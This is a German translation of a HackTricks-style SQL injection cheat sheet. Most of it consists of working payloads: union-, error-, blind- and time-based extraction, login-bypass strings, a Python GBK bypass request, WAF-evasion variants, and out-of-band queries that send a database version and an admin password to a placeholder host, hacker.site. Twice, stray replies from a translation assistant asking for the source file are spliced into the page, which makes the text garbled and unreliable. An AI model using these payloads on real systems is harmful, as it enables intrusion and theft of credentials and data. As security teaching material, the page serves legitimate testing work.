SQL Injection

Reading time: 23 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist SQL injection?

Eine SQL injection ist eine Sicherheitslücke, die Angreifern erlaubt, mit den Datenbankabfragen einer Anwendung zu interagieren. Diese Schwachstelle kann Angreifern ermöglichen, Daten einzusehen (view), zu verändern (modify) oder zu löschen (delete), auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Nutzer oder beliebiger Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder am Inhalt der Anwendung führen oder sogar zur Kompromittierung des Servers oder zu einem denial of service.

Erkennung von Einstiegspunkten

Wenn eine Site aufgrund ungewöhnlicher Server-Antworten auf SQLi-bezogene Eingaben anfällig für SQL injection (SQLi) zu sein scheint, ist der erste Schritt, zu verstehen, wie man Daten in die Abfrage injiziert, ohne diese zu unterbrechen. Dazu muss die Methode identifiziert werden, um aus dem aktuellen Kontext herauszue scapen (escape). Das sind einige nützliche Beispiele:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Dann musst du wissen, wie du die Abfrage so korrigierst, dass keine Fehler auftreten. Um die Abfrage zu beheben, kannst du Daten eingeben, sodass die vorherige Abfrage die neuen Daten akzeptiert, oder du kannst einfach deine Daten eingeben und am Ende ein Kommentarsymbol hinzufügen.

Beachte, dass diese Phase einfacher wird, wenn du Fehlermeldungen siehst oder Unterschiede erkennen kannst, wenn eine Abfrage funktioniert und wenn sie es nicht tut.

Kommentare

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Bestätigung mit logischen Operationen

Eine zuverlässige Methode, um eine SQL injection-Schwachstelle zu bestätigen, besteht darin, eine logische Operation auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET parameter wie ?username=Peter, der identischen Inhalt liefert, wenn er zu ?username=Peter' or '1'='1 geändert wird, auf eine SQL injection-Schwachstelle hin.

Ebenso dient die Anwendung von mathematischen Operationen als effektive Bestätigungstechnik. Zum Beispiel deutet es auf SQL injection hin, wenn der Aufruf von ?id=1 und ?id=2-1 dasselbe Ergebnis liefert.

Beispiele zur Bestätigung mittels logischer Operationen:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Diese Wortliste wurde erstellt, um auf die vorgeschlagene Weise zu versuchen, SQLinjections zu bestätigen:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Bestätigung durch Timing

In einigen Fällen wirst du keine Änderung auf der Seite bemerken, die du testest. Daher ist eine gute Methode, blind SQL injections zu entdecken, die DB Aktionen ausführen zu lassen, die einen Einfluss auf die Zeit haben, die die Seite zum Laden benötigt.
Deshalb werden wir in die SQL-Abfrage eine concat-Operation einfügen, die viel Zeit zur Ausführung benötigt:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In einigen Fällen sind die sleep functions nicht erlaubt. Statt diese Funktionen zu verwenden, könntest du die Abfrage dazu bringen, aufwändige Operationen auszuführen, die mehrere Sekunden dauern. Beispiele für diese Techniken werden separat für jede Technologie kommentiert (falls vorhanden).

Back-end identifizieren

Der beste Weg, das Back-end zu identifizieren, ist zu versuchen, Funktionen der verschiedenen Back-ends auszuführen. Du könntest die sleep functions des vorherigen Abschnitts oder diese verwenden (Tabelle von payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Außerdem, wenn Sie Zugriff auf die Ausgabe der Abfrage haben, können Sie sie dazu bringen, die Version der Datenbank auszugeben.

tip

Als Fortsetzung werden wir verschiedene Methoden zur Ausnutzung unterschiedlicher Arten von SQL Injection besprechen. Wir verwenden MySQL als Beispiel.

Identifizieren mit PortSwigger

SQL injection cheat sheet | Web Security Academy

Ausnutzen von Union Based

Ermitteln der Anzahl der Spalten

Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, sie auszunutzen.
Zuerst müssen wir herausfinden, wie viele Anzahl der Spalten die ursprüngliche Anfrage zurückgibt. Dies liegt daran, dass beide Abfragen die gleiche Anzahl an Spalten zurückgeben müssen.
Für diesen Zweck werden typischerweise zwei Methoden verwendet:

Order/Group by

Um die Anzahl der Spalten in einer Abfrage zu bestimmen, passen Sie schrittweise die Zahl an, die in ORDER BY- oder GROUP BY-Klauseln verwendet wird, bis eine fehlerhafte Antwort zurückkommt. Trotz der unterschiedlichen Funktionalitäten von GROUP BY und ORDER BY in SQL können beide identisch verwendet werden, um die Anzahl der Spalten einer Abfrage zu ermitteln.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Wähle immer mehr null-Werte, bis die Abfrage korrekt ist:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Du solltest null values verwenden, da in einigen Fällen der Typ der Spalten beider Seiten der query derselbe sein muss und null in jedem Fall gültig ist.

Extrahiere database names, table names und column names

In den folgenden Beispielen werden wir die Namen aller databases, den table name einer database und die column names einer table auslesen:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Es gibt für jede Datenbank eine andere Möglichkeit, diese Daten zu entdecken, aber die Methodik ist immer dieselbe.

Exploiting Hidden Union Based

When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.

This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.

Sobald die query extrahiert wurde, ist es nötig, das payload so anzupassen, dass die ursprüngliche query sicher geschlossen wird. Danach wird eine union query an das payload angehängt, um die Ausnutzung der dadurch zugänglichen union-based injection zu ermöglichen.

For more comprehensive insights, refer to the complete article available at Healing Blind Injections.

Exploiting Error based

If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database.
Wenn du aus irgendeinem Grund die output der query nicht sehen kannst, aber die error messages sehen kannst, kannst du diese error messages nutzen, um Daten aus der Datenbank zu ex-filtrate.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

In diesem Fall kannst du die Ergebnisse der Abfrage oder die Fehler nicht sehen, aber du kannst distinguished erkennen, wenn die Abfrage return eine true oder eine false Antwort liefert, weil sich der Inhalt auf der Seite unterscheidet.
In diesem Fall kannst du dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen auszulesen:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Ausnutzen von Error Blind SQLi

Dies ist der derselbe Fall wie zuvor, aber anstatt wie zuvor zwischen einer true/false-Antwort der Abfrage zu unterscheiden, kannst du zwischen einem Fehler in der SQL-Abfrage und keinem unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher kannst du in diesem Fall bei jedem korrekt geratenen char einen SQLerror erzwingen:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

In diesem Fall gibt es keine Möglichkeit, die Antwort der Abfrage anhand des Kontexts der Seite zu unterscheiden. Aber du kannst die Seite länger laden lassen, wenn das erratene Zeichen korrekt ist. Wir haben diese Technik bereits zuvor verwendet, um confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Du kannst stacked queries verwenden, um mehrere Abfragen nacheinander auszuführen. Beachte, dass obwohl die nachfolgenden Abfragen ausgeführt werden, die Ergebnisse nicht an die Anwendung zurückgegeben werden. Daher ist diese Technik hauptsächlich bei blind vulnerabilities nützlich, wo du eine zweite Abfrage verwenden kannst, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.

Oracle unterstützt stacked queries nicht. MySQL, Microsoft und PostgreSQL unterstützen sie: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Wenn no-other exploitation method worked, kannst du versuchen, die database ex-filtrate dazu zu bringen, die Informationen an einen von dir kontrollierten external host zu senden. Zum Beispiel über DNS-Abfragen:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out-of-band-Datenexfiltration über XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatisierte Exploitation

Siehe das SQLMap Cheatsheet, um eine SQLi-Schwachstelle mit sqlmap auszunutzen.

Technik-spezifische Infos

Wir haben bereits alle Möglichkeiten zur Ausnutzung einer SQL Injection besprochen. Finde weitere, datenbanktechnologieabhängige Tricks in diesem Buch:

Oder du findest viele Tricks zu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentifizierungs-Bypass

Liste, um die Login-Funktionalität zu umgehen:

Login bypass List

Raw-Hash-Authentifizierungs-Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für raw output in Authentifizierungsprüfungen verwendet wird, wodurch das System anfällig für SQL injection wird. Angreifer können dies ausnutzen, indem sie Eingaben konstruieren, die beim Hashen unerwartete SQL-Befehlsbestandteile erzeugen und so zu unbefugtem Zugriff führen.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Empfohlene Liste:

Du solltest als username jede Zeile der Liste verwenden und als password immer: Pass1234.
(Diese payloads sind auch in der großen Liste enthalten, die am Anfang dieses Abschnitts erwähnt wurde)

GBK Authentication Bypass

Wenn ' escaped wird, kannst du %A8%27 verwenden; und wenn ' escaped wird, wird es erstellt: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Ich habe keinen Text zum Übersetzen erhalten. Möchtest du:

  1. den Inhalt von src/pentesting-web/sql-injection/README.md hier einfügen, damit ich ihn ins Deutsche übersetze (Markdown, Tags, Links, Pfade und die in der Anleitung genannten Begriffe bleiben unverändert), oder
  2. ein Python‑Script, das diese Datei automatisch übersetzt?

Antworte kurz, welche Option du willst (1 oder 2) und, falls 1, füge den Text ein; falls 2, nenne gewünschte Details (Ein-/Ausgabepfade, Bibliotheken erlaubt: z.B. googletrans, deep_translator, etc.).

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (Mehrfachkontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Passwort eines bestehenden Objekts/Benutzers ändern

Dazu solltest du versuchen, ein neues Objekt mit dem Namen des "master object" anzulegen (wahrscheinlich admin bei Benutzern), indem du etwas veränderst:

  • Erstelle Benutzer mit Namen: AdMIn (Groß- & Kleinbuchstaben)
  • Erstelle einen Benutzer mit Namen: admin=
  • SQL Truncation Attack (wenn es eine Art Längenbeschränkung für den Benutzernamen oder die E-Mail gibt) --> Erstelle einen Benutzer mit dem Namen: admin [a lot of spaces] a

SQL Truncation Attack

Wenn die Datenbank verwundbar ist und die maximale Anzahl an Zeichen für Benutzernamen z. B. 30 beträgt und du den Benutzer admin imitieren möchtest, versuche, einen Benutzernamen zu erstellen: "admin [30 spaces] a" und irgendein Passwort.

Die Datenbank wird prüfen, ob der eingegebene Benutzername in der Datenbank existiert. Falls nicht, wird sie den Benutzernamen auf die maximal erlaubte Anzahl Zeichen kürzen (in diesem Fall auf: "admin [25 spaces]") und anschließend automatisch alle Leerzeichen am Ende entfernen und den Benutzer "admin" in der Datenbank mit dem neuen Passwort aktualisieren (es kann ein Fehler erscheinen, aber das bedeutet nicht, dass es nicht funktioniert hat).

Mehr Infos: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Füge so viele ','','' hinzu, wie du für nötig hältst, um die VALUES-Anweisung zu verlassen. Wenn eine Verzögerung ausgeführt wird, hast du eine SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Die ON DUPLICATE KEY UPDATE-Klausel in MySQL wird verwendet, um festzulegen, welche Aktionen die Datenbank ausführen soll, wenn versucht wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administrator-Kontos zu ändern:

Beispiel Payload Injection:

Ein injection payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die users-Tabelle einzufügen. Die erste Zeile ist ein Köder, und die zweite Zeile zielt auf die E-Mail eines vorhandenen Administrators mit der Absicht, das Passwort zu aktualisieren:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

So funktioniert es:

  • Die Abfrage versucht, zwei Zeilen einzufügen: eine für generic_user@example.com und eine weitere für admin_generic@example.com.
  • Wenn die Zeile für admin_generic@example.com bereits existiert, wird die Klausel ON DUPLICATE KEY UPDATE ausgelöst und veranlasst MySQL, das Feld password der bestehenden Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
  • Folglich kann dann versucht werden, sich mit admin_generic@example.com und dem Passwort anzumelden, das dem bcrypt-Hash entspricht ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts und sollte durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden).

Informationen extrahieren

Erstellen von 2 Accounts gleichzeitig

Beim Erstellen eines neuen Users werden username, password und email benötigt:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Verwendung von Dezimal- oder Hexadezimal

Mit dieser Technik kannst du Informationen extrahieren, indem du nur 1 Account erstellst. Wichtig: Du musst nichts auskommentieren.

Mit hex2dec und substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Ich habe keinen Zugriff auf deine Dateien. Bitte füge den Inhalt von src/pentesting-web/sql-injection/README.md hier ein oder führe einen der folgenden Befehle in deinem Repo aus und kopiere die Ausgabe hierher:

  • git show HEAD:src/pentesting-web/sql-injection/README.md
  • cat src/pentesting-web/sql-injection/README.md
  • sed -n '1,200p' src/pentesting-web/sql-injection/README.md

Oder, falls die Datei auf GitHub liegt, öffne die Raw-URL (z. B. https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md) und füge den Inhalt hier ein.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Verwendung von hex und replace (und substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection ist eine Situation, in der die injizierbare Abfrage nicht direkt die Ausgabe erzeugt, sondern deren Ausgabe an die Abfrage weitergegeben wird, die die Ausgabe liefert. (From Paper)

Beispiel:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass unter Verwendung von Leerzeichen-Alternativen

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - Umgehung durch Kommentare

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass mit Klammern

sql
?id=(1)and(1)=(1)--

Bypass ohne Kommas

No Comma - bypass mit OFFSET, FROM und JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generische Umgehungen

Blacklist mittels Keywords - bypass durch Groß-/Kleinschreibung

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist, die Keywords case-insensitive verwendet — Umgehung durch Verwendung eines äquivalenten Operators

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Wissenschaftliche Notation WAF bypass

Eine ausführlichere Erklärung dieses Tricks findest du im gosecure blog.
Grundsätzlich kann man die wissenschaftliche Notation auf unerwartete Weise verwenden, um den WAF zu umgehen:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Umgehung der Spaltennamen-Beschränkung

Zunächst solltest du beachten, dass wenn die ursprüngliche Abfrage und die Tabelle, aus der du das flag extrahieren möchtest, dieselbe Anzahl an Spalten haben du einfach Folgendes tun kannst: 0 UNION SELECT * FROM flag

Es ist möglich, auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden, mit einer Abfrage wie der folgenden: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, daher würde dies in einer sqlinjection so aussehen:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oder mit einem comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Dieser Trick stammt von https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Wenn Benutzereingaben in die SELECT list oder in table/column identifiers konkateniert werden, helfen prepared statements nicht, weil bind parameters nur Werte schützen, nicht identifiers. Ein häufiges verwundbares Muster ist:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Angriffsidee: Eine subquery in die Feldposition injizieren, um beliebige Daten zu exfiltrieren:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Hinweise:

  • Das funktioniert selbst dann, wenn die WHERE-Klausel einen gebundenen Parameter verwendet, weil die Identifier-Liste weiterhin als String verkettet wird.
  • Einige Stacks erlauben zusätzlich die Kontrolle des Tabellennamens (tablename injection), wodurch tabellenübergreifende Lesezugriffe möglich werden.
  • Output sinks können den ausgewählten Wert in HTML/JSON spiegeln, was XSS oder direkte token exfiltration aus der Antwort ermöglicht.

Gegenmaßnahmen:

  • Konkatenieren Sie niemals Bezeichner aus Benutzereingaben. Ordnen Sie erlaubte Spaltennamen einer festen allow-list zu und quoten Sie Bezeichner korrekt.
  • Wenn dynamischer Tabellenzugriff erforderlich ist, beschränken Sie ihn auf eine endliche Menge und lösen Sie ihn serverseitig über eine sichere Zuordnung auf.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Weitere Guides

Brute-Force Detection-Liste

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks